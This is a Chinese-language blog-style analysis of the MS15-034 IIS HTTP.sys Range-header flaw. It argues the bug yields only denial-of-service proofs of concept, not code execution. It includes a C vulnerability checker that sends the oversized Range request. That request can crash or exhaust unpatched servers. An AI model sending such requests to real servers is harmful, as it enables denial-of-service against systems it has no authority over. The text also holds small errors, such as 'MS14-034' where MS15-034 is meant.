微软于2015年4月15日发布重要更新,发布的更新中官方对MS14-034做出了此漏洞可能允许远程执行代码
的警告。
虽然这个更新在互联网上一石激起千层浪,但实际效果可能会让人失望。
本次漏洞报告由微软的第三方技术支持提供,但是并非第三方技术公司发现。
有相关的信息可以佐证MS15-034漏洞的攻击代码是早于2014年出现的,而近期日本的服务器也遭受了大规模基于此漏洞的攻击。
MS15-034与MS12-020一样,理论上当然是可以一键获权,但是实际上只有蓝屏PoC没有EXP。
当年12-020刚爆出来之后,无数人相信有一键获权,无数人在研究甚至发布所谓的exp。到今天,也有很多人在问“有没有CVE-2015-1635的EXP”,“MS15-034你利用成功了没”这样的话,也有人靠发布所谓的修改版的PoC当做EXP来吸引眼球。
如今的互联网安全圈子,更多的是理性,更多的是对该漏洞的分析。
其实早在2011年,Apache就曾爆出与本次漏洞几乎相同的问题,当时被称作Apache Killer(Apache Range Header DoS)
。到今天也是只有PoC没有EXP。
为了许多不明真相的人,我只好再强调一句:MS15-034只有PoC没有EXP,从过去看未来。
搞清楚了漏洞成因也就搞清楚了为什么理论可行而实际不可行了。
简单来说,就是微软IIS8的HTTP.sys
对HTTP请求中的Range Requests
除了问题。
Range出现在HTTP头,我们最常见用到这个文件头的就是断点续传。
如果客户端的Range请求除了问题,例如大小在最大整数18446744073709551615(0xFFFFFFFFFFFFFFFF)
或者其他大小方式,http!UlpParseRange
在处理上就6666了。
根据请求文件的size和Range的不同,可以分为CPU负荷短暂升高、资源耗死或者蓝屏等几种不同的结果。
关于漏洞的成因分析,中文英文的都有很详细的文献:
网上有很多的利用工具,原理大同小异,低端一点的curl、wget、telnet或者powershell都有,高端一点的还有测算请求页面的大小然后修改最小range的。
/* UNTESTED - MS15-034 Checker THE BUG: 8a8b2112 56 push esi 8a8b2113 6a00 push 0 8a8b2115 2bc7 sub eax,edi 8a8b2117 6a01 push 1 8a8b2119 1bca sbb ecx,edx 8a8b211b 51 push ecx 8a8b211c 50 push eax 8a8b211d e8bf69fbff call HTTP!RtlULongLongAdd (8a868ae1) ; here ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4 BY: [email protected] Twitter: @rhcp011235 */ #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <arpa/inet.h> int connect_to_server(char *ip) { int sockfd = 0, n = 0; struct sockaddr_in serv_addr; struct hostent *server; if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("\n Error : Could not create socket \n"); return 1; } memset(&serv_addr, '0', sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(80); if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0) { printf("\n inet_pton error occured\n"); return 1; } if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { printf("\n Error : Connect Failed \n"); return 1; } return sockfd; } int main(int argc, char *argv[]) { int n = 0; int sockfd; char recvBuff[1024]; // Check server char request[] = "GET / HTTP/1.0\r\n\r\n"; // our evil buffer char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n"; if(argc != 2) { printf("\n Usage: %s <ip of server> \n",argv[0]); return 1; } printf("[*] Audit Started\n"); sockfd = connect_to_server(argv[1]); write(sockfd, request, strlen(request)); read(sockfd, recvBuff, sizeof(recvBuff)-1); if (!strstr(recvBuff,"Microsoft")) { printf("[*] NOT IIS\n"); exit(1); } sockfd = connect_to_server(argv[1]); write(sockfd, request1, strlen(request1)); read(sockfd, recvBuff, sizeof(recvBuff)-1); if (strstr(recvBuff,"Requested Range Not Satisfiable")) { printf("[!!] Looks VULN\n"); exit(1); } else if(strstr(recvBuff,"The request has an invalid header name")) { printf("[*] Looks Patched"); } else printf("[*] Unexpected response, cannot discern patch status"); }
最后,解释一下BSOD:BlueScreen of Denial